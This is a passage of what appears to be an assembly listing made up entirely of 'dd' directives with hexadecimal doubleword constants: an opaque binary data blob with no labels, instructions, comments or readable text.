661585C1h, 0D3827400h, 0C4E5EE92h, 7A560013h dd 843116F4h, 7700E15Ah, 538BFFD5h, 0A4FBF9Fh, 0BE42341Fh dd 1FA1690h, 0ECD8E7FCh, 74C0F706h, 5113AA92h, 24004B64h dd 5DE27184h, 0F10100ACh, 0D576A20Bh, 0AB0EFD18h, 41DBBD95h dd 0E590FF99h, 0EBC030h, 0C27A728Eh, 0C17F5F93h, 4B55A602h dd 80911A6Eh, 80149D97h, 153EEC4h, 7F5AA83h, 0CB3B09B7h dd 0FC2D49D1h, 7F0A76F4h, 0A87046F2h, 0D64FB704h, 407542C2h dd 0D771ECh, 0F4B0632Eh, 29837B13h, 6CD228C0h, 5050314Ch dd 74E9CAh, 0D3DCFCB0h, 26340BD5h, 0B9F34700h, 64C80D42h dd 0FD611836h, 69569872h, 5A959300h, 90214951h, 3DEF0067h dd 16E58B6Eh, 0FC94CD0Ch, 8A845101h, 9BE4C310h, 0B0904Ah dd 28C615FCh, 0CED6266Bh, 350F0300h, 307EAE70h, 12CB0CAh dd 0C7A79C64h, 70F198E5h, 0A40025F0h, 964891E3h, 0BA334Ah dd 41C4A8B4h, 5CF0DE66h, 897B633Dh, 22C438Ah, 40D4CA42h dd 0FB641BA4h, 1352020h, 9A08FC9Ch, 0E3E37507h, 0CBF497A0h dd 6D134EE4h, 2C0E589Fh, 0F369E161h, 7EF87015h, 289080h dd 9BF61601h, 0C655120Bh, 0DB881112h, 0AC460701h, 0BACC6003h dd 7FB9981Dh, 0D71700CEh, 7DCCE991h, 0CF001F78h, 7E50CA63h dd 0A88CACh, 0BA56A0E2h, 0C5DA284Ch, 8393EF00h, 0EC816516h dd 0DFC023Bh, 0CC1395F8h, 0F5DA20A0h, 291CDC37h, 7C0F7B3h dd 2FC04320h, 460C2E6Bh, 648D0798h, 2AE700Ah, 1E6378F9h dd 0A8EC03C0h, 0B9A9331h, 40855589h, 0EA7A00FFh, 5C8AD2E8h dd 6500FC09h, 30E71213h, 2B00E1E0h, 90713734h, 23121DCh dd 0D20E575h, 9868AE14h, 9F00BA72h, 0BD0457D0h, 0BAABD810h dd 5130068h, 0ACA79479h, 3100C474h, 8F9C50B6h, 12F26C84h dd 0C03B234Fh, 0AADE6BA0h, 0C4E74B00h, 0B5DCA061h, 0A68704AEh dd 80F69E5Dh, 0DAF5FE3Ch, 190F1200h, 3B4F231h, 14533975h dd 2284FB00h, 7E15528Ch, 0E3C7BD01h, 0E635F13Fh, 5C17A8D4h dd 0F4034883h, 315C549Ah, 0AE2C21A0h, 81977800h, 0BE5614E5h dd 38B094h, 0B61361C0h, 89771DAAh, 5B377B01h, 2533EBE6h dd 42F03DF1h, 408B2CCh, 57AAA6CFh, 898CA00Eh, 690096E0h dd 0E7BA45D2h, 0F61743E6h, 93D03195h, 8627E60h, 6E9D0FF9h dd 8AA7DE98h, 27C571h, 5BA87DACh, 7915BEABh, 863086AAh dd 5926EEh, 498F7A5Ch, 34CAA7D6h, 41BC520Ah, 1700AC03h dd 0CCB80F94h, 58F103C9h, 2960909Ch, 9B8C395h, 0AC841CB8h dd 0F64C9200h, 0B3C2DBCh, 4BD0791h, 87AE69C0h, 88A0BE90h dd 0A8031B31h, 434C8E15h, 0CCC10084h, 0C0BA685Fh, 3A930C4Fh dd 39C05809h, 0A12FB014h, 0A05E00C0h, 6888BF6Ch, 814A008Dh dd 69EFBEFCh, 57240E6Bh, 66005C55h, 1A013DCDh, 8C380002h dd 0D01848ABh, 1B4D5FBBh, 0EAE601A8h, 0D7AF479Fh, 0E4339207h dd 2E275507h, 0ACA0B04Ah, 7529A003h, 0A8C6A663h, 12B05696h dd 1CCE49C5h, 1C5C2473h, 0FD688089h, 2BDFE28Ah, 0BB267926h dd 9CB5EB00h, 438F4C1h, 0C5F9D3E9h, 82908019h, 0B2F28148h dd 0E1354D00h, 6628A5A1h, 4416495Eh, 2380213Fh, 0ECAF4B2Ch dd 0CB02D849h, 1A14A7C8h, 3EF8FC1Eh, 0DD5C3F00h, 0A15DCAC0h dd 365EEB7Ch, 0BC0053F8h, 0D8D53967h, 85A09A3Bh, 0C6006EB5h dd 0B03DCCF3h, 7D5C2ADEh, 7AFD2EE0h, 0D6183A4h, 0E188155Dh dd 0F2024AC2h, 12513360h, 9E38C8D7h, 0E3720237h, 27367B1Bh dd 2B6218C8h, 442D3E09h, 0CAE822BCh, 44C15D5Bh, 0A110303Ch dd 0DFAE2507h, 7F609F2Ch dd 40FF257h, 45FBA4A6h, 65248151h, 638BC0CBh, 0C2F7A301h dd 9A4358EFh, 113F5ECh, 5BEE25A2h, 30B3BF3Ah, 12072C61h dd 0CBA4ADCAh, 0A7590360h, 1830F1B7h, 243FF69Dh, 8084129Ah dd 0C6AC93E0h, 6A3B5999h, 8B94804Ch, 4328EEF3h, 0EF400EBh dd 0F254F937h, 289AA25Ch, 3F1CB700h, 0EC5190E5h, 0FEE8242Dh dd 7D2B00E4h, 6A91438Ch, 8050CB4Ch, 15FB8180h, 4D5B72BDh dd 2C2660BAh, 8C054114h, 90C6844h, 0A054BC42h, 7926DD0Ch dd 2C81515Eh, 0D6C9C850h, 0EDF81F98h, 5D3C93A8h, 0CB944008h dd 0FAA0E14Fh, 0C37995E6h, 0D8A6008Ch, 93AD8034h, 5005899h dd 48176967h, 4A1CA1Ah, 6408C450h, 365C809Dh, 80268109h dd 2D844479h, 0FA203024h, 0D200C78Dh, 8C482AB7h, 0A87BF2h dd 271D0AFEh, 0A7ED79C9h, 0F5E69600h, 0D0F93573h, 12D000Bh dd 597419CAh, 47003A08h, 50C038A2h, 2448E971h, 0C4A8D2h dd 0FC0BF6DBh, 407D0CABh, 0F8D07501h, 9FCA0926h, 5C45A050h dd 498E0F35h, 48586879h, 871CC3F5h, 768F5026h, 0FE4A2058h dd 0D7C9E2h, 83682EEDh, 2522533Ch, 0B5439000h, 5AB76F13h dd 642D58D2h, 6C96203Fh, 4C7600D6h, 0AC50349Ah, 2DA48250h dd 3C404E4Eh, 23DA33F5h, 923B018Eh, 0C919EC1Ch, 30102578h dd 1F01666Eh, 99DF5D91h, 188009D1h, 1BE84F10h, 0B800896Bh dd 397EA3E9h, 0F9E30EAh, 0C09424Dh, 0A2DC9820h, 320E62D4h dd 0A028E874h, 7AE08566h, 143548FDh, 796C9D07h, 7B14E0C7h dd 2C0B87EFh, 89C327E8h, 917807E1h, 8B427730h, 0F880FAA8h dd 364E0F44h, 71807C11h, 99B5B01Dh, 0C9877000h, 0D50D1019h dd 16DA0461h, 0F0239414h, 0C303174Ch, 0CB4F920Eh, 305E91A6h dd 6972E0h, 3380ACDh, 4F9EFF84h, 83881500h, 0DE7CC1A0h dd 40CB48C9h, 4B53A500h, 0BE324D22h, 9B5B103h, 0B883FFF3h dd 45A3561h, 8439C4Ch, 0C420900Ch, 0E700473Bh, 94274616h dd 0B7221CAh, 9E241F42h, 0E8AA3000h, 2F1381ACh, 48808D0Fh dd 24B907E0h, 580CB43Ch, 0CB13E62Fh, 0F45FF327h, 8997DDC9h dd 5DF421F3h, 0CD01E30Dh, 0C0D46C5Ch, 1EEE45D3h, 68407A2h dd 4656C0h, 2A8EB270h, 5B61322Eh, 8A009028h, 0B00FA129h dd 0FEC19E18h, 0EA18CB12h, 846CA068h, 0AA1CC800h, 6B66D7B9h dd 0FBA500B5h, 3993DBB6h, 0E70092C0h, 5AB1069Dh, 0E68CA4ACh dd 471000A1h, 17D85BB2h, 0F17395EDh, 0B38EB401h, 8F962B53h dd 0FE3CE8h, 15364DC9h, 7B38DC7Ch, 0BBEAE938h, 489D891h dd 20DD41BBh, 0C4AF6FC0h, 322904B9h, 0D55D9F3Ah, 0C0768714h dd 98D77B62h, 0A4303500h, 0FB730956h, 0F451F374h, 0FD601E53h dd 0C7900758h, 60BE37EAh, 0A56AE3BFh, 913AF30Eh, 0D07E80ACh dd 3D7127ECh, 0B0802BD5h, 4BCC6805h, 0E50090C1h, 0F296E3DAh dd 741ACBDBh, 6AB300A3h, 0CDDE4784h, 30095C3Bh, 0A1BF29AAh dd 21A5A620h, 3F7FAEDCh, 78139F7Bh, 49CC00A1h, 622515B0h dd 3ADFDE02h, 800C5A84h, 1751FFF4h, 0F3F8024Eh, 60AEC35h dd 891E8CD0h, 390FB633h, 0DFDDA001h, 1FD0BF28h, 0C018BE1Ah dd 82DB8D76h, 3100A7FFh, 8F9ED939h, 0FE025B7Dh, 3E8A3FD5h dd 2E979000h, 0DA4F4217h, 3803527Dh, 0A0E52BF2h, 8320A7D2h dd 3FC4299Dh, 20DDECF8h, 8FD88700h, 47A32F36h, 30740803h dd 0C8A77D72h, 0F84D93h, 0FA274589h, 0DC8C6B48h, 0B0A4127Dh dd 0B0F63700h, 381D8547h, 9C320AD7h, 4B42462h, 885D2BF7h dd 0D2003480h, 0EE0F167Ah, 7159A9B8h, 12C07DDh, 0B0241CCBh dd 0FCACE5D0h, 0A0B20301h, 5F0AFAC8h, 215F30h, 0CD2F1801h dd 0DB254D04h, 939DD600h, 0E723A795h, 0AAB2003Bh, 0F1BAC53Ah dd 5C0077F9h, 7578347Ch, 308A30CEh, 0D84EFBB0h, 77003B3Dh dd 816327E7h, 27E3233h, 739EB10h, 0B9E0D369h, 9A059522h dd 3568929Eh, 3839440h, 1B2115h, 73FAE105h, 0CD26E34h dd 7A162C07h, 7BA16164h, 62F8D049h, 115607FCh, 14E1389h dd 30DFFA6Ch, 71B02C55h, 82109603h, 820798A4h, 0DBE25742h dd 4A00F0C4h, 290DD1F0h, 740C49C8h, 694C0F99h, 0B0874D33h dd 908D427Fh, 0E8281882h, 876B44C9h, 0B94D7B20h, 4BA5E740h dd 4FBE3166h, 0D2274C18h, 0A01B048h, 518060DEh, 91796733h dd 0F1E73944h, 0A8CCF080h, 0AE8193E1h, 0E6345150h, 0FBF1B80Ah dd 96802449h, 0A8DC068Ah, 0EEB90018h, 0F6A4BD89h, 0E0035D08h dd 0CA8EB840h, 0B04FB829h, 6ACF077Ch, 7015ABBEh, 96989C2Eh dd 190190A3h, 9D595251h, 0FFF030EDh, 7E5004Dh, 6BCC8C4Eh dd 153B94BEh, 96906091h, 305228FAh, 2309EFCh, 850323E5h dd 62E24A8Eh, 81906ECh, 40C31F4Eh, 0BDDE31Eh, 8CADD80Ah dd 60AA6703h, 95280521h, 403468D6h, 7038B4F8h, 8E2996CCh dd 1F18B064h, 0F115E409h, 1E088986h, 9A3E51BCh, 4A00CFCh dd 7E5170BDh, 0F24F0262h, 0EDDF9230h, 172EDC52h, 0D805C715h dd 0B040C210h, 0C4F8A14Fh, 0A8F02EB0h, 2F2A0F58h, 26684880h dd 0EA3E6C15h, 60A0285Dh, 75A87C00h, 220A64D1h, 0D37A07CEh dd 907E5AD0h, 41BD90F6h, 0B9719800h, 9E60B293h, 0E1BA0F08h dd 6A0B16Eh, 664325A8h, 4C3E9100h, 0A1AD5086h, 63DD013Fh dd 0B8C87AE2h, 5D2AD4BBh, 0CD3B9A00h, 45DAF710h, 64D200D5h dd 0FF9D46C3h, 0F17940EFh, 0A006D100h, 0ED82356Eh, 15D300EBh dd 8675CBFDh, 0F200ECD9h, 5EC7E73Ah, 1E9ED6C5h, 0A7E588h dd 44A607F5h, 93000DBBh, 84C6DBD9h, 122DACAh, 0F94BFCDCh dd 0CC2FE7B7h, 63005586h, 0F7EE4F3Fh, 3D11BD3h, 1DED0BC7h dd 90A7DD1Fh, 0C8CDF5D2h, 66E67306h, 13098FDh, 7DC7599Fh dd 0DF2E7745h, 0ACCEEE98h, 0E3DCD800h, 7E1868BAh, 0CFC440C2h dd 0C16B4100h, 4A622166h, 332B00CEh, 0D5545B0Eh, 0DF003973h dd 489EA445h, 19D7F19h, 0CE1D3651h, 0D0B45B56h, 0AE005442h dd 5FD057ECh, 5C7F90B1h, 880088BEh, 19E647B4h, 2907FA8Ch dd 2F4017CAh, 0E0C0ECC2h, 64B96CBh, 65BEB073h, 0E702C1EDh dd 0D750931Dh, 8E24E097h, 0A59A011Ah, 0CD918B48h, 0A447D099h dd 601D5F8h, 3DD285Ah, 33FB17A8h, 6021B408h, 30D406E0h dd 92C46C0Ch, 30D18ADh, 65F9C23Bh, 0D28B050Ah, 26C97798h dd 0E8A56700h, 0C002937Bh, 64F026AFh, 0C14A00F3h, 0ACE42722h dd 8AA5C40Dh, 909160ECh, 6D880B8h, 87E5285Fh, 0B0DF6B0Ch dd 89600136h, 0A2E84246h, 0E1D560E6h, 0A4A1CB60h, 7D36AEh dd 0AAB91F46h, 0C462AC77h, 189D80A9h, 5E0608D9h, 9DC4FD28h dd 6A08440h, 35137EEFh, 0E003757Dh, 0F927F8h, 574146D8h dd 1E45A379h, 0DFB0FC01h, 0E1E47E91h, 6CECCh, 0B6B3C016h dd 0AB3B516Eh, 8CCA1F03h, 9BC2A905h, 0DEA0C03Dh, 0A3F63AF7h dd 0BDD2AC00h, 676E7D2Dh, 0C1A5CD00h, 3AD3F081h, 0F83D03F3h dd 6FE5551Fh, 0D0A82ED3h, 0B20E9A74h, 0C9F77CFDh, 0E64C8038h dd 2BE67B9h, 0D89E43F8h, 5960188Ah, 0A30F5F9Ch, 6124E557h dd 10BECEEDh, 0FAB9D8h, 0AF3F331Fh, 79D30CDBh, 0E3C8AA00h dd 3A34E473h, 58F93AD2h, 41EEF00h, 8B88A311h, 0B0793F00h dd 47AB649Bh, 0C5E61B5Eh, 18E07878h, 51030D72h, 0ED56A0B5h dd 71180121h, 35E6A1E4h, 7B108170h, 0C745134h, 0A5267E8h dd 565C45FFh, 0CF730374h, 0A0788280h, 0BC448E1Fh, 68429180h dd 3C46867Fh, 0EBC8BFF2h, 0E7C0AE00h, 0AADA5D2Eh, 0DEDC0F00h dd 0F328CC12h, 0ED45242Bh dd 0A58D0067h, 8F784162h, 0D563Bh, 0B0065FF5h, 347DA1Bh dd 7FE02777h, 0D83CFAEFh, 2BD602EAh, 9DF32634h, 0C9CB0204h dd 6374DF8h, 10C059C1h, 0C25B500h, 20FC15CFh, 0CB5A001Bh dd 0DB824FF4h, 4201C111h, 0BCFFBFEFh, 29901AD2h, 501C84C4h dd 44E9C644h, 7844180Dh, 0E65F421Ah, 519A06DAh, 14009EF4h dd 6E11F5Ch, 1E2E08DFh, 0C0D4644Ch, 0CE9B6377h, 0B57FCD24h dd 8CA35300h, 0AAA18116h, 0F7E70DCh, 90376AECh, 0CCB3260h dd 0B5000936h, 98727C45h, 0FDACC67h, 97BB94C1h, 0EB3D0CA0h dd 68019669h, 95737C9Ah, 8850F3C2h, 249462DFh, 5369F4h dd 0B089996Eh, 7205AF16h, 978EEBCh, 0C43FDFC0h, 3E6F0586h dd 830D6D17h, 84C0929Ch, 0F500AE2Ch, 1E6494CFh, 0E442CC55h dd 838200E8h, 0AE853C57h, 0C400D36Fh, 5DE62A69h, 187D3Bh dd 32BD8C0Dh, 3E84504h, 477C7307h, 53C642D5h, 6D740011h dd 0F36A1337h, 12003C44h, 0B4ECC2FFh, 118653Dh, 1D1CE90h dd 80FA8416h, 5BF39D0h, 2377696h, 4759F0B9h, 6075BC67h dd 0C86BFCh, 7E718C0Ch, 0C03F8EEEh, 7621DD3Dh, 0E7978700h dd 5FA885CCh, 60921FF3h, 0C6CBCFF9h, 0F8A3D140h, 4A00D6AAh dd 67315635h, 0E4DFC77h, 0D294395Eh, 43516640h, 0A6005F6Ch dd 3A100F2Ah, 0FAAF87h, 0A77FD614h, 354D390Dh, 83547100h dd 0D2992E84h, 1DF43DE5h, 9DE202F8h, 0D528733Bh, 56F6D081h dd 0A4A8CC8Dh, 80926300h, 0D075E619h, 0AFDF001Bh, 0DC9D868Ch dd 0FB004674h, 85BEA06Eh, 905AA9h, 7C090893h, 0FB9B627h dd 0E2ACFD00h, 0BCB8DC34h, 6A74B1h, 0DB18297Eh, 0F427C8CCh dd 0FD3EC898h, 0E8F8A801h, 3A1BC13Dh, 99B380E9h, 2DE5EE65h dd 0DA9200F6h, 4B50E1B9h, 5C013F71h, 5A6159F9h, 0ABD88FDDh dd 466700BBh, 25518217h, 0A9009CCAh, 0E391DE60h, 0F8059D94h dd 474E3D81h, 0FA06F680h, 0C0433B0Ch, 67029700h, 1495CB88h dd 57EF8A6h, 0BE646D4Ch, 59C0EEF4h, 2E78BAh, 9B9ED3FBh dd 0DF5075ECh, 5C27D100h, 98BBD6A6h, 31410023h, 0CD959048h dd 0B500C9A2h, 63DAD2C5h, 0E54006h, 6721B2CFh, 37F5FB5Fh dd 0E7EEFE00h, 0E4C3C57Dh, 1D79900Bh, 819BBC53h, 3EFC392Ah dd 0F88BE41Ah, 93A6D0A8h, 595D9E00h, 31AD3394h, 0C5F70049h dd 0FE6F4003h, 2D0036BFh, 0EBF6452Fh, 0A06E737Eh, 8025DFh dd 0E7D81B43h, 7F8F5E17h, 0CEBEC05h, 0D000DA44h, 7C51FAE1h dd 86EE0029h, 0A88E610Fh, 924D2C7h, 0D903BDDCh, 0A8C30196h dd 7DE6C9h, 229360C8h, 53840351h, 0CE0EB900h, 9A426830h dd 0C690079h, 0BF816A9Bh, 0F3008AA2h, 0A0873F88h, 14E81DA7h dd 0CC7F0FE7h, 11663880h, 560071E9h, 79DBEB89h, 0E46290A9h dd 0E1E60044h, 154DD9C3h, 0C74C5FD3h, 2AF118A8h, 77A9070h dd 0C2722BCFh, 8620BF48h, 7C188FE3h, 11991D0Ch, 466E9Bh dd 1455A5AAh, 0CAADFF33h, 0E4DEFE00h, 0B8DFC752h, 9A7726C4h dd 5406006Ch, 532A551Bh, 0E3BDA600h, 1EFEADCAh, 189A00F1h dd 0EA2227D7h, 0B600BF5Ch, 3B57DA42h, 5DB600Fh, 0FD8676E0h dd 0EF9000A3h, 44251650h, 4C18F94Ch, 0C65200E6h, 45DC0DC1h dd 47FCD8h, 0F8B0D781h, 37BEC8D6h, 7CBD6200h, 442D5A02h dd 0FF9201F7h, 99BF2F4Fh, 0C235F43Fh, 29FB0D00h, 6F1F5617h dd 1C030397h, 0ACF581C6h, 4B48EFE0h, 26A65103h, 0D8FE6085h dd 0ADCC61h, 831F7ECFh, 9DA09474h, 0DCA39h, 0B47165C0h dd 7897D62Ah, 0CF8B007Eh, 87819598h, 0E2FA3E4Dh, 8A0C181Fh dd 0A8C6EF80h, 8F525Bh, 4729F7D2h, 0B0D6CDFAh, 0E3A2E212h dd 0CC209E12h, 441C7Bh, 9A65FB11h, 0ED47BCBBh, 0ECC5280Fh dd 0A9AE40B7h, 0E0434D0Eh, 12AC9AC1h, 90248Bh, 1185BA2Ch dd 101CD92h, 0C06D7EDEh, 2E4CE8Fh, 0D4700036h, 6A5A4CF1h dd 0E0381B3Eh, 24C60078h, 89146CCCh, 45555884h, 58038300h dd 0BD940571h, 0E9002F76h, 643772BAh, 16EC928h, 7A3165B5h dd 0C6B14A1Ah, 0B688B140h, 2A9B3Fh, 0D429CAA9h, 0AC2F50h dd 1C45814Ah, 5E375AEBh, 608A7300h, 0D05BE00Ch, 7EDB02ABh dd 77E65C48h, 51714CC0h, 649A2802h, 60B62FE7h, 0C3A85Ch dd 0BD534616h, 23740631h, 6434BF0Eh, 8FFF298Bh, 61450033h dd 39F16687h, 298E381Ah, 422F9DE5h, 96CFF260h, 400C722h dd 0EF280566h, 3103B49h, 0AFCAD75Ah, 6881871Eh, 0F258808Eh dd 50D39D6Bh, 0E84607A4h, 0F10FD23h, 155440DDh, 9E556156h dd 3AC07600h, 1319FB44h, 0DA870022h, 5241BFE5h, 11015E89h dd 5B1F1B4h, 0C3700C77h, 0C0080076h, 83257447h, 0E00DDBAh dd 663D1D17h, 1DF64078h, 0C22BBF5Bh, 0AC601F3Eh, 3B2E6860h dd 7C6030FBh, 0BB0A6B0Fh, 8144031h, 0C6C7D8h, 0CD8479E6h dd 1433EBCh, 0EC51DA1Fh, 0A9ECCCE8h, 6F74461Ch, 0B59AF743h dd 8CD99B54h, 422968C0h, 0B09F40E3h, 37A61E17h, 51913840h dd 0FCF565DBh, 9FEA0AE0h, 0F4263Ch, 0E6C71C7h, 0ED0078C3h dd 70215F16h, 939733h, 0A1FCC418h, 0B8B5B75Dh, 0CE294200h dd 0C8D70CADh, 0BB6C00F7h, 76CF0AA9h, 3C9826E8h, 658D8701h dd 98F94623h, 5822C30h, 5BC5EFB0h, 6D9B80B8h, 5F00E818h dd 1961E4F4h, 88CD43h, 2A87D80Ch, 9DA17149h, 4836500h dd 895F4B73h, 0D6550081h, 642B6842h, 140075EAh, 19B13C16h dd 0FE4DB1Fh, 0EEFF2EEFh, 0ED32E7A0h, 51046F0Ah, 76B1B22Bh dd 8F04C080h, 0A17C2EFCh, 97C71FBCh, 88003EC9h, 291161D8h dd 7A6B20B7h, 530044E0h, 0D4307D20h, 3F8C6498h, 8B80F588h dd 0B5E9CDABh, 0A906FDF3h, 0DD6FBC9Eh, 17D0E848h, 422AB107h dd 0EA87102Ch, 30031960h, 72EDC500h, 9F90ADEEh, 0B535051Fh dd 0F619AEh, 890753B0h, 289441F3h, 239A2580h, 2422F7FBh dd 2642A81Dh, 670E0069h, 0D459B4B2h, 0BB238D15h, 0E8EF0090h dd 149D8CEAh, 9A6B003Dh, 167211E2h, 0EC28592Fh, 0D2006CB5h dd 0CD52330Ch, 545DEBDh, 63F136EAh, 207C900Fh, 55480E8Dh dd 776900ACh, 700A13B6h, 0AE402CDBh, 0A69C8070h, 0C1F66EB5h dd 25CA81C0h, 36B79DCh, 453921D3h, 0FE00FCE3h, 0C62663C9h dd 5ED98C96h, 7353F069h, 222E1EE8h, 0CB802002h, 4270C6BAh dd 51DC0EE5h, 0DD80ED5Dh, 877A7F76h, 2100D271h, 0AF386C47h dd 7260D33Ah, 0C5720020h, 0BAA18B2Bh, 7718733Ch, 0F979A77Fh dd 3B2CF05Bh, 3987D984h, 0F13B8F28h, 8CCFA279h, 98CE8C11h dd 3E41C06Ah, 5D40DC8Dh, 4779580Ch, 0E74AE1C6h, 7B276840h dd 0C1CD00A1h, 0FFBFF0EEh, 30FA6844h, 5E204200h, 0CE06A2A7h dd 0C8D5A018h, 999400BCh, 0E796FDF5h, 16006782h, 0F9FA8F3Dh dd 0BD7D72h, 4E318570h, 0A0996CC4h, 79C0A3B0h, 6E2EA60Ch dd 74E805BFh, 4017FD43h, 7FA42998h, 4900D0DDh, 6EBE11D4h dd 0AD9F06h, 0E609E994h, 2C07AA91h, 653B3918h, 0B8650h dd 3F338B59h, 0D1B4A9EDh, 0B34AD500h, 60E72C7Dh, 0CCC6607Eh dd 0FA09F51Dh, 0CF1C977Ch, 9C428550h, 0C8BEB5B9h, 37C984h dd 2FC669C7h, 30C3B473h, 8F30D3F8h, 3DAD21ABh, 9F85001Eh dd 0B067AC92h, 5500EE53h, 2C6370C2h, 0E84A8B13h, 28A801F2h dd 419DFFCEh, 4018D31Eh, 4449A28Fh, 4E3903A4h, 0FA7B6FEDh dd 0F51AEA8h, 38D48300h, 1EE404EFh, 1082687Ah, 0EB18F404h dd 0D010519Fh, 44A4008Ch, 0F7677D37h, 74FE7A40h, 4B0A9001h dd 958663EAh, 6023D0E4h dd 60B329A6h, 0C2007A41h, 62287CB7h, 18D61077h, 2ACA3C2Bh dd 0BD1E747Fh, 18816ACFh, 3D0D8645h, 4744EA80h, 0E817CC79h dd 0D0F8E507h, 0E270AD16h, 0BE00D2Ah, 802B193Fh, 4114FA00h dd 9E00FC04h, 90495579h, 76D2D82h, 3C5D958Dh, 0DA109025h dd 1800D7CDh, 0C3EFC146h, 7D3D7Ch, 7630068Ah, 723FC4FDh dd 34778501h, 80137F12h, 0F2DFC0h, 4707AE6Eh, 19F1A540h dd 0EA16D4F1h, 0CD7D6F00h, 0B231AD21h, 906400B3h, 92567A3Eh dd 2A00FFBAh, 5AF7FCB6h, 6100525h, 66D448A8h, 0A30050F9h dd 2D32993Ch, 0B34615Bh, 2912922h, 2C002F8Bh, 9EF6ED84h dd 758A20Eh, 0B2DCC03Fh, 0D33D1h, 30A06B59h, 16684B8Ah dd 0CCA23Eh, 0D2A721F8h, 1A1EC1h, 0BB4EAFEDh, 0B77BD4E0h dd 437EF407h, 94D037B0h, 0CCDE82h, 192BB663h, 0A2501698h dd 31645F00h, 0E6CF0444h, 5CFF0002h, 0E3C92238h, 0E1C0474Fh dd 5044BFF1h, 0F82800B9h, 0B2468359h, 7400DB98h, 0D967057Ch dd 1E4D4012h, 1D45954Eh, 51BF4071h, 1ED03D97h, 5EFBC300h dd 2FA1F84h, 0A0687C25h, 0AEA8E8h, 3B23AF33h, 0D8D1C49Eh dd 84A97100h, 8B541C67h, 0E23E0736h, 0C02D4988h, 0FF2B1C0h dd 5930BA00h, 92DBEF10h, 0A6D10773h, 15ECF6EEh, 0A13D81BDh dd 51CEF8C1h, 8AE1DA0Ch, 377041h, 0A5BF7484h, 3E2F825Fh dd 0CA125503h, 984D1FEEh, 86D0C2h, 0E50A243Dh, 63B07819h dd 27008890h, 0FFD71114h, 9DE90h, 5C4865B7h, 0C23A905h dd 0A192C200h, 5652AE4Bh, 0AAD4004Ch, 2C892FE9h, 420057CEh dd 0F22E8188h, 1A80CBh, 0C67F7D90h, 0F4DC210h, 52758500h dd 71443399h, 25FD00FEh, 21E7A051h, 0F6005DE9h, 0E846953Fh dd 74EE26Bh, 0A41ACE71h, 88FA5Ah, 1028E58Bh, 3506AE72h dd 7881481Dh, 1E460060h, 0C23D1765h, 9C3D0C50h, 0AFDC0091h dd 0E933B19Bh, 322B00E8h, 2359DD4Dh, 2800D57Dh, 534C2C94h dd 4C7F093h, 0EC44B3A3h, 2F14C0C2h, 9F709988h, 6265DA7Eh dd 0CDC3B536h, 8F8A90BCh, 0F7383A80h, 3280883Dh, 0BF85E2FAh dd 3D009948h, 5E895081h, 0FF52A1h, 5369A80Fh, 0D1517DC3h dd 94042B76h, 0CD880ADBh, 0E058BC83h, 0E6BE086h, 13AED89Bh dd 66AB4C40h, 6B0E12Ah, 2EB51601h, 4DECFB0h, 165F6834h dd 2CE3A6h, 8718693Dh, 0A03A132h, 0E97D1A60h, 0F0400093h dd 0B38F0349h, 0A56024ABh, 0BC234B70h, 961E00E7h, 51D5B241h dd 3201C960h, 7A367D4h, 9834B79Eh, 7CC60595h, 0FB6C1325h dd 234742C0h, 647424h, 40795B9Bh, 5811438Ch, 930B8407h dd 1B50DC4Fh, 95DDE4h, 0DFBB715Eh, 5B25E382h, 1C002E90h dd 6C30B4F6h, 6FD19Dh, 5FE652CAh, 251D03B9h, 3EDC0F0Fh dd 6D64C04Eh, 0A45C5Eh, 9AB14399h, 4473B617h, 481CC40Fh dd 2E790E49h, 0BCB1F835h, 0FFE801D5h, 0B20C3D73h, 472C305Eh dd 0FBC69200h, 0BA04051Fh, 43143DA8h, 0ECCD1680h, 9BE08DD5h dd 0B4A37F03h, 0D4F39026h, 391F3B80h, 20EE48B5h, 496CAE00h dd 8769671h, 0D2BC8600h, 9D57CCA0h, 18784895h, 91094A05h dd 73FC17h, 42012CEDh, 746BFAh, 801B3D1Ah, 38F82F07h, 88CAFB00h dd 84A6F7B2h, 70CF006Eh, 285FCC4Dh, 0D5003AD6h, 2B1CCE1Ah dd 1D978560h, 0C0ED721Eh, 15C3361h, 48198F0Bh, 5D1924B7h dd 50976EE0h, 71FCC7h, 26FED8C8h, 5A38E515h, 0CE467A0Ah dd 2D0494C3h, 18819E83h, 0B024BA47h, 944004Dh, 62D75690h dd 0A8099725h, 812263FCh, 9266082Ch, 2DB824h, 9EC198E6h dd 0DABFE90Dh, 56B48E00h, 18BB51FDh, 59E61CF9h, 58C6C034h dd 268C36F1h, 0A470CB00h, 732B06EBh, 93C30013h, 0D5451E5Ah dd 4B00E98Ch, 447557EFh, 167C5270h, 5D3C715Fh, 0C9428068h dd 0F5F1FDB2h, 4FD1AE00h, 50D99D58h, 63F047Bh, 86120D92h dd 0F94C617Ch, 6DFF00A8h, 0DCD20843h, 0F10B0092h, 1B202978h dd 0F01F641h, 4701AE05h, 0FEE89318h, 90EB509Eh, 448F00B0h dd 290CFC2Bh, 0E413A4A3h, 8F0F2EC6h, 3A3CC1h, 0ADD906BEh dd 0C0818BD4h, 0AF50FC94h, 8800F6CFh, 8E02EB80h, 1207E5AAh dd 403A461Ch, 27C1B3DCh, 0CF0CB18Ch, 1935FC1Dh, 407718BBh dd 2FC180EAh, 0C42E1500h, 47021A37h, 3C397C8Ah, 2A074FCBh dd 0D0C160DBh, 0F0252E45h, 479BE30Eh, 2D52608Dh, 271F85h dd 0B8DE40F3h, 0FE1CB634h, 89934A9h, 151F05CBh, 864795h dd 6FD6E250h, 0E903B13Eh, 5DFAA727h, 287802C5h, 23B939C4h dd 50032082h, 0D8B11C86h, 213E7E1Dh, 11BA8B00h, 5C07D540h dd 5800A417h, 3C7E51C8h, 0F0048B2h, 0FE9D6249h, 3D9AB53Eh dd 1880EA77h, 0BB1EF527h, 8900E4EEh, 616BA98Dh, 1DAC824Dh dd 400651DAh, 4319591Bh, 31FE0BDEh, 0E6BF9100h, 0FF53253h dd 3C270E8Eh, 0E9008139h, 0B2DE0469h, 89D54F03h, 0D88082F9h dd 94057h, 30E052C3h, 2746CEB0h, 0F18B1B00h, 0AB25D2E4h dd 0B0BC74B2h, 16F6F4h, 8578CE93h, 0CB97270Dh, 609D0903h dd 0D0FD9895h, 0FB8A9Eh, 0B8C565Dh, 0E78D46C7h, 0EBCDC40Eh dd 0BE2E63A9h, 0A28E90C9h, 3E8A0008h, 0C821F6A4h, 3C013DA6h dd 15D0336Ah, 0D448EA0Dh, 0DEF00018h, 2701B071h, 9166B926h dd 212A08h, 89DE13FAh, 285DACB1h, 0C5625000h, 64EEE7BEh dd 30DCF833h, 0E4187948h, 7D2AEBC3h, 9AF2DC47h, 0C4F07B00h dd 3561567h, 